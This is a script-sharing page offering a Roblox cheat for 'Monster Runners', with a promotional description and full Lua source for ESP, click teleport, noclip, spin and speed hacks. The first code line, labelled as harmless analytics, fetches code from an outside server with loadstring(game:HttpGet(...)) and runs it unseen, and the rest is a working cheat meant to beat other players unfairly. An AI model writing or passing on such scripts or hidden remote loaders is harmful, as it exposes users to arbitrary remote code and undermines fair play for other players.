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Description
Monster Runners script for Roblox designed to improve movement, navigation, and map awareness during gameplay. This script includes ESP to highlight important targets and improve visibility across the map, making it easier to track objectives and navigate efficiently. The click teleport feature allows instant movement to selected locations with a mouse click, helping players travel quickly and reach desired areas without unnecessary delays. Noclip enables movement through walls and obstacles, providing unrestricted exploration and smoother map traversal. The spin feature offers customizable spinning movement with adjustable speed values, while the WalkSpeed option allows players to increase movement speed beyond default limits for faster navigation. The standard recommended speed value is 30, providing a balance between mobility and control. Built for smooth and stable performance, this script helps streamline movement, improve exploration efficiency, and enhance overall gameplay. By combining teleportation, movement customization, and visibility tools, players can move through Monster Runners more effectively and complete objectives with greater ease.
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Features
- ESP
- click teleport
- noclip
- spin
- walkspeed
- speed value
- standard speed
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/51CvRtLE?v=1"))()end);--=== Does not affect the script ===---- MONSTER RUNNERS ULTIMATE SCRIPT
-- Functions: ESP, Click Teleport, Speed, Spin with Speed Control, Noclip
-- Open Menu: RIGHT SHIFT
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInput = game:GetService("UserInputService")
local lp = Players.LocalPlayer
local camera = workspace.CurrentCamera
local mouse = lp:GetMouse()
-- ========================== SETTINGS ==========================
local settings = {
espEnabled = false,
clickTp = false,
vaultSpeed = 16,
spin = false,
spinSpeed = 10,
noclip = false
}
-- ========================== ESP SYSTEM (HIGHLIGHT) ==========================
local highlights = {}
local function updateESP()
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp and settings.espEnabled then
if not highlights[plr] and plr.Character then
local highlight = Instance.new("Highlight")
highlight.Name = "ESP_Highlight"
highlight.FillTransparency = 0.6
highlight.OutlineTransparency = 0.2
highlight.OutlineColor = Color3.fromRGB(255, 0, 0)
highlight.FillColor = Color3.fromRGB(255, 0, 0)
highlight.Parent = plr.Character
highlights[plr] = highlight
end
elseif highlights[plr] then
highlights[plr]:Destroy()
highlights[plr] = nil
end
end
end
local function onCharacterAdded(plr, char)
if not settings.espEnabled or plr == lp then return end
task.wait(0.5)
if not char.Parent then return end
local highlight = Instance.new("Highlight")
highlight.Name = "ESP_Highlight"
highlight.FillTransparency = 0.6
highlight.OutlineTransparency = 0.2
highlight.OutlineColor = Color3.fromRGB(255, 0, 0)
highlight.FillColor = Color3.fromRGB(255, 0, 0)
highlight.Parent = char
highlights[plr] = highlight
end
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp then
plr.CharacterAdded:Connect(function(char)
onCharacterAdded(plr, char)
end)
if plr.Character then
onCharacterAdded(plr, plr.Character)
end
end
end
Players.PlayerAdded:Connect(function(plr)
if plr ~= lp then
plr.CharacterAdded:Connect(function(char)
onCharacterAdded(plr, char)
end)
end
end)
-- ========================== CLICK TELEPORT ==========================
local function getGroundPosition(mousePos)
local raycastParams = RaycastParams.new()
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.FilterDescendantsInstances = {lp.Character}
local rayOrigin = mousePos + Vector3.new(0, 10, 0)
local rayDirection = Vector3.new(0, -50, 0)
local rayResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams)
if rayResult and rayResult.Position then
return rayResult.Position + Vector3.new(0, 2, 0)
end
return nil
end
local function handleClickTp()
if not settings.clickTp then return end
local char = lp.Character
if not char then return end
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local target = mouse.Target
if target and target:IsA("BasePart") then
local targetPos = target.Position
local groundPos = getGroundPosition(targetPos)
if groundPos then
hrp.CFrame = CFrame.new(groundPos)
else
local validX = math.clamp(targetPos.X, -800, 800)
local validZ = math.clamp(targetPos.Z, -800, 800)
local validY = math.clamp(targetPos.Y, 5, 500)
hrp.CFrame = CFrame.new(validX, validY, validZ)
end
task.wait(0.05)
local humanoid = char:FindFirstChild("Humanoid")
if humanoid and humanoid:GetState() == Enum.HumanoidStateType.Freefall then
local spawn = workspace:FindFirstChild("SpawnLocation")
if spawn then
hrp.CFrame = spawn.CFrame + Vector3.new(0, 3, 0)
end
end
end
end
-- ========================== SPIN WITH SPEED CONTROL ==========================
local spinConnection = nil
local function startSpin()
if spinConnection then return end
spinConnection = RunService.RenderStepped:Connect(function()
if settings.spin then
local char = lp.Character
if char then
local hrp = char:FindFirstChild("HumanoidRootPart")
if hrp then
hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(settings.spinSpeed), 0)
end
end
end
end)
end
local function stopSpin()
if spinConnection then
spinConnection:Disconnect()
spinConnection = nil
end
end
-- ========================== NOCLIP ==========================
local function handleNoclip()
if not settings.noclip then return end
local char = lp.Character
if not char then return end
for _, v in pairs(char:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end
-- ========================== SPEED ==========================
local function setSpeed()
local char = lp.Character
if not char then return end
local humanoid = char:FindFirstChild("Humanoid")
if humanoid then
humanoid.WalkSpeed = settings.vaultSpeed
end
end
-- ========================== MAIN LOOP ==========================
RunService.Heartbeat:Connect(function()
pcall(function()
updateESP()
setSpeed()
handleNoclip()
if settings.spin then
if not spinConnection then
startSpin()
end
else
if spinConnection then
stopSpin()
end
end
end)
end)
-- Click Teleport (LMB)
mouse.Button1Down:Connect(function()
if settings.clickTp then
pcall(handleClickTp)
end
end)
-- Respawn handler
lp.CharacterAdded:Connect(function(char)
task.wait(0.5)
setSpeed()
if settings.spin then
stopSpin()
startSpin()
end
end)
-- ========================== BEAUTIFUL MENU ==========================
local menuGui = Instance.new("ScreenGui")
menuGui.Name = "MonsterRunnersMenu"
menuGui.Parent = game:GetService("CoreGui")
menuGui.IgnoreGuiInset = true
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 380, 0, 520)
mainFrame.Position = UDim2.new(0.5, -190, 0.5, -260)
mainFrame.BackgroundColor3 = Color3.fromRGB(15, 15, 25)
mainFrame.BackgroundTransparency = 0.05
mainFrame.BorderSizePixel = 0
mainFrame.ClipsDescendants = true
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Visible = false
mainFrame.Parent = menuGui
local gradient = Instance.new("UIGradient")
gradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(40, 20, 50)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(15, 15, 30))
}
gradient.Parent = mainFrame
local titleFrame = Instance.new("Frame")
titleFrame.Size = UDim2.new(1, 0, 0, 50)
titleFrame.BackgroundColor3 = Color3.fromRGB(50, 30, 70)
titleFrame.BorderSizePixel = 0
titleFrame.Parent = mainFrame
local titleGradient = Instance.new("UIGradient")
titleGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(100, 50, 140)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(60, 30, 90))
}
titleGradient.Parent = titleFrame
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 1, 0)
title.Text = "MONSTER RUNNERS"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextSize = 18
title.Parent = titleFrame
local line = Instance.new("Frame")
line.Size = UDim2.new(1, -40, 0, 2)
line.Position = UDim2.new(0, 20, 0, 55)
line.BackgroundColor3 = Color3.fromRGB(120, 80, 160)
line.BorderSizePixel = 0
line.Parent = mainFrame
local function createSection(text, yPos)
local section = Instance.new("TextLabel")
section.Size = UDim2.new(1, -40, 0, 25)
section.Position = UDim2.new(0, 20, 0, yPos)
section.Text = text
section.TextColor3 = Color3.fromRGB(180, 150, 220)
section.BackgroundTransparency = 1
section.Font = Enum.Font.GothamBold
section.TextSize = 14
section.TextXAlignment = Enum.TextXAlignment.Left
section.Parent = mainFrame
return section
end
local function createToggle(text, setting, yPos)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 170, 0, 35)
btn.Position = UDim2.new(0, 20, 0, yPos)
btn.Text = "◉ " .. text .. " OFF"
btn.TextColor3 = Color3.fromRGB(220, 220, 220)
btn.BackgroundColor3 = Color3.fromRGB(35, 30, 50)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.Gotham
btn.TextSize = 13
btn.TextXAlignment = Enum.TextXAlignment.Left
local btnGradient = Instance.new("UIGradient")
btnGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(55, 40, 75)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(35, 30, 50))
}
btnGradient.Parent = btn
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 6)
corner.Parent = btn
btn.Parent = mainFrame
btn.MouseButton1Click:Connect(function()
settings[setting] = not settings[setting]
local state = settings[setting] and "ON" or "OFF"
local icon = settings[setting] and "●" or "◉"
btn.Text = icon .. " " .. text .. " " .. state
btn.TextColor3 = settings[setting] and Color3.fromRGB(100, 255, 100) or Color3.fromRGB(220, 220, 220)
btn.BackgroundColor3 = settings[setting] and Color3.fromRGB(60, 50, 90) or Color3.fromRGB(35, 30, 50)
if setting == "espEnabled" then
if not settings.espEnabled then
for _, v in pairs(highlights) do
pcall(function() v:Destroy() end)
end
highlights = {}
else
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp and plr.Character then
onCharacterAdded(plr, plr.Character)
end
end
end
end
if setting == "spin" then
if settings.spin then
startSpin()
else
stopSpin()
end
end
end)
return btn
end
local function createSlider(text, setting, minVal, maxVal, yPos, format, suffix)
local sliderFrame = Instance.new("Frame")
sliderFrame.Size = UDim2.new(0, 340, 0, 50)
sliderFrame.Position = UDim2.new(0, 20, 0, yPos)
sliderFrame.BackgroundTransparency = 1
sliderFrame.Parent = mainFrame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(0, 200, 0, 20)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = text .. ": " .. settings[setting] .. (suffix or "")
label.TextColor3 = Color3.fromRGB(200, 200, 200)
label.BackgroundTransparency = 1
label.Font = Enum.Font.Gotham
label.TextSize = 12
label.TextXAlignment = Enum.TextXAlignment.Left
label.Parent = sliderFrame
local sliderBar = Instance.new("Frame")
sliderBar.Size = UDim2.new(0, 200, 0, 4)
sliderBar.Position = UDim2.new(0, 0, 0, 25)
sliderBar.BackgroundColor3 = Color3.fromRGB(60, 50, 80)
sliderBar.BorderSizePixel = 0
sliderBar.Parent = sliderFrame
local fill = Instance.new("Frame")
fill.Size = UDim2.new((settings[setting] - minVal) / (maxVal - minVal), 0, 1, 0)
fill.BackgroundColor3 = Color3.fromRGB(160, 100, 220)
fill.BorderSizePixel = 0
fill.Parent = sliderBar
local sliderBtn = Instance.new("TextButton")
sliderBtn.Size = UDim2.new(0, 12, 0, 12)
sliderBtn.Position = UDim2.new((settings[setting] - minVal) / (maxVal - minVal), -6, 0, -4)
sliderBtn.BackgroundColor3 = Color3.fromRGB(220, 150, 255)
sliderBtn.BorderSizePixel = 0
sliderBtn.Text = ""
sliderBtn.Parent = sliderBar
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(1, 0)
corner.Parent = sliderBtn
local valueBox = Instance.new("TextBox")
valueBox.Size = UDim2.new(0, 60, 0, 25)
valueBox.Position = UDim2.new(0, 220, 0, 12)
valueBox.Text = settings[setting]
valueBox.TextColor3 = Color3.fromRGB(255, 255, 255)
valueBox.BackgroundColor3 = Color3.fromRGB(40, 35, 55)
valueBox.BorderSizePixel = 0
valueBox.Font = Enum.Font.Gotham
valueBox.TextSize = 12
valueBox.Parent = sliderFrame
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 4)
btnCorner.Parent = valueBox
local dragging = false
sliderBtn.MouseButton1Down:Connect(function()
dragging = true
end)
UserInput.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInput.InputChanged:Connect(function(input)
if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
local mousePos = UserInput:GetMouseLocation()
local barPos = sliderBar.AbsolutePosition
local barSize = sliderBar.AbsoluteSize.X
local percent = math.clamp((mousePos.X - barPos.X) / barSize, 0, 1)
local value = minVal + percent * (maxVal - minVal)
if format == "int" then
value = math.floor(value)
end
value = math.clamp(value, minVal, maxVal)
settings[setting] = value
fill.Size = UDim2.new(percent, 0, 1, 0)
sliderBtn.Position = UDim2.new(percent, -6, 0, -4)
label.Text = text .. ": " .. value .. (suffix or "")
valueBox.Text = value
end
end)
valueBox.FocusLost:Connect(function()
local val = tonumber(valueBox.Text)
if val then
val = math.clamp(val, minVal, maxVal)
settings[setting] = val
local percent = (val - minVal) / (maxVal - minVal)
fill.Size = UDim2.new(percent, 0, 1, 0)
sliderBtn.Position = UDim2.new(percent, -6, 0, -4)
label.Text = text .. ": " .. val .. (suffix or "")
valueBox.Text = val
else
valueBox.Text = settings[setting]
end
end)
return sliderFrame
end
-- СОЗДАНИЕ МЕНЮ
createSection("👁️ VISUALS", 65)
createToggle("ESP (Highlight)", "espEnabled", 95)
createSection("⚔️ COMBAT", 145)
createToggle("Click Teleport (LMB)", "clickTp", 175)
createSection("🌀 MOVEMENT", 220)
createToggle("Noclip", "noclip", 250)
createToggle("Spin", "spin", 285)
createSlider("Spin Speed", "spinSpeed", 5, 50, 320, "int", "°/frame")
createSlider("Walk Speed", "vaultSpeed", 16, 120, 370, "int", "")
local infoFrame = Instance.new("Frame")
infoFrame.Size = UDim2.new(1, -40, 0, 60)
infoFrame.Position = UDim2.new(0, 20, 0, 425)
infoFrame.BackgroundColor3 = Color3.fromRGB(30, 25, 45)
infoFrame.BorderSizePixel = 0
infoFrame.Parent = mainFrame
local infoCorner = Instance.new("UICorner")
infoCorner.CornerRadius = UDim.new(0, 6)
infoCorner.Parent = infoFrame
local infoText = Instance.new("TextLabel")
infoText.Size = UDim2.new(1, -10, 1, 0)
infoText.Position = UDim2.new(0, 5, 0, 5)
infoText.Text = "Click Teleport: ЛКМ для телепортации\nSpin Speed: скорость вращения\nNoclip: проход сквозь стены"
infoText.TextColor3 = Color3.fromRGB(180, 160, 200)
infoText.BackgroundTransparency = 1
infoText.Font = Enum.Font.Gotham
infoText.TextSize = 11
infoText.TextXAlignment = Enum.TextXAlignment.Left
infoText.Parent = infoFrame
local statusBar = Instance.new("Frame")
statusBar.Size = UDim2.new(1, 0, 0, 30)
statusBar.Position = UDim2.new(0, 0, 1, -30)
statusBar.BackgroundColor3 = Color3.fromRGB(30, 25, 45)
statusBar.BorderSizePixel = 0
statusBar.Parent = mainFrame
local statusText = Instance.new("TextLabel")
statusText.Size = UDim2.new(1, 0, 1, 0)
statusText.Text = "MENU: RIGHT SHIFT | Drag to move"
statusText.TextColor3 = Color3.fromRGB(150, 130, 180)
statusText.BackgroundTransparency = 1
statusText.Font = Enum.Font.Gotham
statusText.TextSize = 11
statusText.Parent = statusBar
UserInput.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.RightShift then
mainFrame.Visible = not mainFrame.Visible
end
end)
print("=" .. string.rep("=", 50))
print("MONSTER RUNNERS ULTIMATE SCRIPT LOADED")
print("Features: ESP, Click Teleport, Noclip, Spin, Speed")
print("Open menu: RIGHT SHIFT")
print("=" .. string.rep("=", 50))Quick Actions
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